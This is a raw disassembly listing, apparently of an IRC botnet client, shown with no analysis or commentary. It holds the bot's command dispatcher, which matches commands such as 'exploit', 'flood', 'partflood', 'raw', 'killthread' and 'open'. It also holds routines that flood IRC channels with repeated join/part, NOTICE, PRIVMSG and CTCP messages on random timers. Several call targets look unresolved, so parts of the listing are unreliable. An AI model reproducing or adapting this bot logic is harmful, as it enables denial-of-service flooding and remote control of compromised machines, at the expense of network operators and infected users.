loc_40471E: ; CODE XREF: sub_401ACD+1018j
; sub_401ACD+102Dj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40473E
push esi
call sub_41B779
test ax, ax
pop ecx
jz short loc_40473E
push esi
call sub_41B779
pop ecx
jmp short loc_404744
; ---------------------------------------------------------------------------
loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj
; sub_401ACD+2C66j
mov ax, word_429084
loc_404744: ; CODE XREF: sub_401ACD+2C6Fj
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41B980
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B854
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409A72
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B0F6
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset byte_40E503
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_404813
loc_4047FD: ; CODE XREF: sub_401ACD+2D44j
cmp [ebp+var_968], ebx
jnz loc_401E94
push 32h
nop
call near ptr 2650E43h
jmp short loc_4047FD
; ---------------------------------------------------------------------------
loc_404813: ; CODE XREF: sub_401ACD+2D2Ej
nop
call near ptr 2660A00h
push eax
push offset unk_42B814
jmp loc_402077
; ---------------------------------------------------------------------------
loc_404824: ; CODE XREF: sub_401ACD+FC4j
; sub_401ACD+FD9j ...
push edi
push offset aSecure ; "secure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40484C
push edi
push offset aSec ; "sec"
call sub_41C070
pop ecx
mov [ebp+var_A10], ebx
test eax, eax
pop ecx
jnz short loc_404856
loc_40484C: ; CODE XREF: sub_401ACD+2D66j
mov [ebp+var_A10], 1
loc_404856: ; CODE XREF: sub_401ACD+2D7Dj
push [ebp+var_88]
lea eax, [ebp+var_A94]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_A10], ebx
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
mov [ebp+var_A08], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40489D
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40489D: ; CODE XREF: sub_401ACD+2DC9j
push eax
push offset dword_42B7E0
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_A14], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_419E19
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_A14]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_404911
loc_4048FB: ; CODE XREF: sub_401ACD+2E42j
cmp [ebp+var_A04], ebx
jnz loc_4083BC
push 32h
nop
call near ptr 2650E43h
jmp short loc_4048FB
; ---------------------------------------------------------------------------
loc_404911: ; CODE XREF: sub_401ACD+2E2Cj
nop
call near ptr 2660A00h
push eax
push offset dword_42B7A4
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_404922: ; CODE XREF: sub_401ACD+F9Aj
; sub_401ACD+FAFj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A6AE
loc_404933: ; CODE XREF: sub_401ACD+2AB8j
; sub_401ACD+2ACEj ...
add esp, 0Ch
jmp loc_409854
; ---------------------------------------------------------------------------
loc_40493B: ; CODE XREF: sub_401ACD+F70j
; sub_401ACD+F85j
push offset unk_42B6F4
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_404945: ; CODE XREF: sub_401ACD+F46j
; sub_401ACD+F5Bj
push offset aAbosel7V4 ; "abosel7 v4"
push offset dword_42B6E4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_404954: ; CODE XREF: sub_401ACD+F1Cj
; sub_401ACD+F31j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4049AE
push esi
call sub_41B779
cmp eax, ebx
pop ecx
jl short loc_4049A6
cmp eax, 3
jge short loc_4049A6
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40499E
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C9BC
push eax
call sub_41B886
add esp, 0Ch
mov [esi], bl
jmp loc_40828B
; ---------------------------------------------------------------------------
loc_40499E: ; CODE XREF: sub_401ACD+2EB0j
push eax
push offset unk_42B6B8
jmp short loc_4049EB
; ---------------------------------------------------------------------------
loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj
; sub_401ACD+2EA0j
push eax
push offset unk_42B68C
jmp short loc_4049EB
; ---------------------------------------------------------------------------
loc_4049AE: ; CODE XREF: sub_401ACD+2E90j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4049B3: ; CODE XREF: sub_401ACD+2F02j
push [ebp+var_90]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4049D6
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4049B3
jmp loc_40828B
; ---------------------------------------------------------------------------
loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42C9BC
loc_4049EB: ; CODE XREF: sub_401ACD+2152j
; sub_401ACD+2ED7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
jmp loc_408288
; ---------------------------------------------------------------------------
loc_4049FC: ; CODE XREF: sub_401ACD+EF2j
; sub_401ACD+F07j
push [ebp+var_8C]
push offset dword_42C930
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4034A5
call sub_40B2BF
push ebx
nop
call near ptr 77E75CB5h
loc_404A22: ; CODE XREF: sub_401ACD+1A11j
push offset aGet ; "get"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404AB0
cmp dword_4CE728, ebx
jz short loc_404A4A
push offset dword_4CE108
loc_404A40: ; CODE XREF: sub_401ACD+2FE1j
push offset unk_42B650
jmp loc_404AE0
; ---------------------------------------------------------------------------
loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
nop
call near ptr 71AB157Eh
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E30]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_E30]
push eax
jmp short loc_404A40
; ---------------------------------------------------------------------------
loc_404AB0: ; CODE XREF: sub_401ACD+2F64j
push esi
call dword_4CAFB4
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_404AC4
push offset unk_42B610
jmp short loc_404AE0
; ---------------------------------------------------------------------------
loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj
push offset dword_4CE108
call sub_41BEB0
pop ecx
mov dword_4CE728, 1
pop ecx
push esi
push offset unk_42B5E4
loc_404AE0: ; CODE XREF: sub_401ACD+2F78j
; sub_401ACD+2FF5j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_4034FD
; ---------------------------------------------------------------------------
loc_404AF4: ; CODE XREF: sub_401ACD+19F9j
push edi
push offset aExploit ; "exploit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404BF7
mov eax, [ebp+var_4]
mov esi, offset aF ; "#f"
mov [ebp+var_13E4], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F4], eax
mov edi, 80h
push esi
lea eax, [ebp+var_1474]
push edi
push eax
mov [ebp+var_13EC], 1
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_14F4]
push esi
push edi
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_1504]
push [ebp+arg_10]
push 10h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_1504]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B5AC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_13E8], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1504]
push ebx
push eax
push offset byte_40B8A1
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_13E8]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_404BE6
loc_404BD0: ; CODE XREF: sub_401ACD+3117j
cmp [ebp+var_13DC], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2650E43h
jmp short loc_404BD0
; ---------------------------------------------------------------------------
loc_404BE6: ; CODE XREF: sub_401ACD+3101j
nop
call near ptr 2660A00h
push eax
push offset unk_42B56C
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_404BF7: ; CODE XREF: sub_401ACD+3036j
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4097C0
push edi
push offset aRin ; "rin"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4097C0
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409778
push edi
push offset aRinms ; "rinms"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409778
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41C070
mov edi, dword_427078
pop ecx
test eax, eax
pop ecx
jnz loc_4057DE
call near ptr 267098Eh
nop
push eax
call sub_41B8D8
push [ebp+arg_10]
push offset aLoad ; "load"
call sub_41C070
add esp, 0Ch
test eax, eax
jnz short loc_404CFD
cmp [ebp+esi+var_80], ebx
jz short loc_404CFD
push [ebp+esi+var_80]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417A5F
add esp, 0Ch
lea eax, [ebp+var_2C4]
push [ebp+esi+var_84]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42B504
push eax
call sub_41B886
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CFD
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_404CFD: ; CODE XREF: sub_401ACD+31B9j
; sub_401ACD+31BFj ...
push [ebp+arg_10]
push offset dword_42B500
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404D69
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D69
push offset asc_42CA2C ; " "
push offset dword_42B4FC
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_50F4]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_50F4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B4EC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404D69: ; CODE XREF: sub_401ACD+3241j
; sub_401ACD+324Cj
push [ebp+arg_10]
push offset dword_42B4E8
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404DD5
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DD5
push offset asc_42CA2C ; " "
push offset dword_42B4FC
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_4BF0]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_4BF0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B4D4
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404DD5: ; CODE XREF: sub_401ACD+32ADj
; sub_401ACD+32B8j
push [ebp+arg_10]
push offset aNt ; "nt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404E41
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E41
push offset asc_42CA2C ; " "
push offset dword_42B4FC
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_46EC]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_46EC]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404E41: ; CODE XREF: sub_401ACD+3319j
; sub_401ACD+3324j
push [ebp+arg_10]
push offset aMode ; "mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404EAD
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404EAD
push offset asc_42CA2C ; " "
push offset dword_42B4FC
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_4DF0]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_4DF0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404EAD: ; CODE XREF: sub_401ACD+3385j
; sub_401ACD+3390j
push [ebp+arg_10]
push offset aJoin ; "join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404EEC
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404EEC
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_404EEC: ; CODE XREF: sub_401ACD+33F1j
; sub_401ACD+33FCj
push [ebp+arg_10]
push offset aPart_0 ; "part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404F2B
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F2B
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_404F2B: ; CODE XREF: sub_401ACD+3430j
; sub_401ACD+343Bj
push [ebp+arg_10]
push offset aPartflood ; "partflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404F6F
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F6F
push offset aCyber ; "CYBER"
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404F6F: ; CODE XREF: sub_401ACD+346Fj
; sub_401ACD+347Aj
push [ebp+arg_10]
push offset aPnick ; "pnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404FE8
cmp [ebp+esi+var_88], ebx
jz short loc_404FE8
nop
call near ptr 267098Eh
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B4]
push edx
push [ebp+esi+var_88]
push offset dword_42B464
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_17B4]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_404FE8: ; CODE XREF: sub_401ACD+34B3j
; sub_401ACD+34BCj
push [ebp+arg_10]
push offset dword_42B450
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405135
cmp [ebp+esi+var_88], ebx
jz loc_405135
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push offset aCyber ; "CYBER"
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405135: ; CODE XREF: sub_401ACD+352Cj
; sub_401ACD+3539j
push [ebp+arg_10]
push offset dword_42B44C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4051CF
cmp [ebp+esi+var_88], ebx
jz short loc_4051CF
call near ptr 267098Eh
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42B424
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 24h
loc_4051CF: ; CODE XREF: sub_401ACD+3679j
; sub_401ACD+3686j
push [ebp+arg_10]
push offset aNick_0 ; "nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4052D1
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_4052D1
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
lea eax, [ebp+var_4BC]
push eax
call sub_417ADD
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
lea eax, [ebp+var_4BC]
push eax
call sub_417ADD
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi
lea eax, [ebp+var_4BC]
push eax
call sub_417ADD
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_4052D1: ; CODE XREF: sub_401ACD+3713j
; sub_401ACD+3722j
push [ebp+arg_10]
push offset aChgnick ; "chgnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405318
lea eax, [ebp+var_1808]
push eax
call sub_417ADD
pop ecx
lea eax, [ebp+var_1808]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_405318: ; CODE XREF: sub_401ACD+3815j
push [ebp+arg_10]
push offset aMsg ; "msg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405407
cmp [ebp+esi+var_88], ebx
jz loc_405407
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push offset aCyber_0 ; "CYBER"
push [ebp+esi+var_88]
push offset dword_42B4EC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B4EC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B4EC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405407: ; CODE XREF: sub_401ACD+385Cj
; sub_401ACD+3869j
push [ebp+arg_10]
push offset aNotice_0 ; "notice"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4054F6
cmp [ebp+esi+var_88], ebx
jz loc_4054F6
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push offset aCyber_0 ; "CYBER"
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_4054F6: ; CODE XREF: sub_401ACD+394Bj
; sub_401ACD+3958j
push [ebp+arg_10]
push offset aCtcp ; "ctcp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40560D
cmp [ebp+esi+var_88], ebx
jz loc_40560D
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B3DC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B3C4
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B3AC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B3AC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj
; sub_401ACD+3A47j
push [ebp+arg_10]
push offset aMix ; "mix"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405733
cmp [ebp+esi+var_88], ebx
jz loc_405733
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B3DC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405733: ; CODE XREF: sub_401ACD+3B51j
; sub_401ACD+3B5Ej
push [ebp+arg_10]
push offset aRegister ; "register"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405779
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_405779
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405779: ; CODE XREF: sub_401ACD+3C77j
; sub_401ACD+3C82j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4062C3
mov edi, offset dword_4D400C
loc_405795: ; CODE XREF: sub_401ACD+3CE7j
cmp dword ptr [edi-4], 1
jnz short loc_4057A8
mov eax, [edi]
cmp eax, ebx
jbe short loc_4057A8
push eax
call dword_4CB00C
loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj
; sub_401ACD+3CD2j
add edi, 210h
cmp edi, offset dword_4DA72C
jl short loc_405795
cmp [ebp+var_8], ebx
jnz loc_4062C3
push ebx
push [ebp+var_4]
push offset unk_42B34C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
jmp loc_4062C3
; ---------------------------------------------------------------------------
loc_4057DE: ; CODE XREF: sub_401ACD+3195j
mov edi, [ebp+arg_8]
push edi
push offset aNick_0 ; "nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409758
push edi
push offset aN ; "n"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409758
push edi
push offset aJoin ; "join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409731
push edi
push offset aJ ; "j"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409731
push edi
push offset aPart_0 ; "part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409711
push edi
push offset aPt ; "pt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409711
push edi
push offset aRaw ; "raw"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4096D5
push edi
push offset aR ; "r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4096D5
push edi
push offset aKillthread ; "killthread"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4095D5
push edi
push offset aK ; "k"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4095D5
push edi
push offset aC_quit ; "c_quit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409527
push edi
push offset aC_q ; "c_q"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409527
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094D5
push edi
push offset aC_rn ; "c_rn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094D5
push edi
push offset aPrefix ; "prefix"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094BC
push edi
push offset aPr ; "pr"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094BC
push edi
push offset aOpen ; "open"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40948E
push edi
push offset aO ; "o"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40948E
push edi
push offset aServer ; "server"
call sub_41C070
pop ecx
test eax, eax
